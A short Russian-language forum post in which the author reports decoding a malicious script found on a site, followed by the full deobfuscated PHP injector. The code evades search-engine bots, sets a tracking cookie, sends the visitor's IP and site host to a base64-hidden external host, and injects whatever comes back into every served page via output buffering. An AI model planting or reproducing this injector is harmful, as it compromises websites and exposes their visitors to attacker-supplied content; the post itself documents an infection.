Раскодировал конечно. Только долго не мог понять, что это пока не увидел второй base64_decode в котором был закодирован адрес сайта.
if(function_exists("ob_start") && !function_exists("lbw_ecjs") && !function_exists("pat_pinp") && !function_exists("zxkc_lhw") && !isset($GLOBALS["aa"]) && @strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),"googlebot") === false && @strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),"msnbot") === false && @strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),"yahoo") === false && !isset($_COOKIE["vrve"]) ){$GLOBALS["aa"] = 1;setcookie("vrve", 1, time()+3600*24*2, "/"); function pat_pinp($gzencode_arg) { $x = @ord(@substr($gzencode_arg, 3, 1)); $shift = 10; $shift2 = 0; if( $x&4 ) { $unpack=@unpack("v", substr($gzencode_arg, 10, 2)); $unpack=$unpack[1]; $shift+= 2 + $unpack; } if( $x&8 ) { $shift = @strpos($gzencode_arg, chr(0), $shift) + 1; } if( $x&16 ) { $shift = @strpos($gzencode_arg, chr(0), $shift) + 1; } if( $x&2 ) { $shift += 2; } $gzip = @gzinflate(@substr($gzencode_arg, $shift)); if($gzip === FALSE) { $gzip = $gzencode_arg; } return $gzip; } function zxkc_lhw( $url ) { /* if (function_exists("curl_init")) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $curl_result = curl_exec ($ch); curl_close($ch); if ($curl_result) return $curl_result; } if (@ini_get("allow_url_fopen")) { $file_result = @file_get_contents($url); if ($file_result) return $file_result; } */ $url_info = parse_url($url); $query = "GET $url HTTP/1.0\r\n"; $query .= "Host: " . $url_info["host"] . "\r\n"; $query .= "Connection: Close\r\n\r\n"; $fp = @fsockopen($url_info["host"], 80, $errno, $errstr, 5); if (!$fp) return false; @fputs($fp, $query); @socket_set_timeout ($fp, 5, 0); $s_retcode = @substr (@fgets ($fp, 4096), 9, 3); if ($s_retcode{0} <> "2") {return FALSE;} while (! @feof ($fp)) { if ("\r\n" === @fgets ($fp, 4096)) {break;} } $socket_result = ""; while (! @feof ($fp)) { $socket_result .= @fgets ($fp, 4096); } @fclose($fp); if ($socket_result) return $socket_result; } function lbw_ecjs($pts){return preg_replace("#(.*||[^<>]*]*>|)#is", "$1" . ujq_pkpu, pat_pinp($pts), 1);}$ujq_pkpu=zxkc_lhw(base64_decode("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw"). "?i=" . $_SERVER["REMOTE_ADDR"] . "&s=" . $_SERVER["HTTP_HOST"]);@preg_match("#(.*)#", $ujq_pkpu, $matches);$ujq_pkpu= isset($matches[1])? $matches[1] : "";if ($ujq_pkpu) {define("ujq_pkpu",$ujq_pkpu); ob_start("lbw_ecjs");}}
08.05.2021, 16:16:32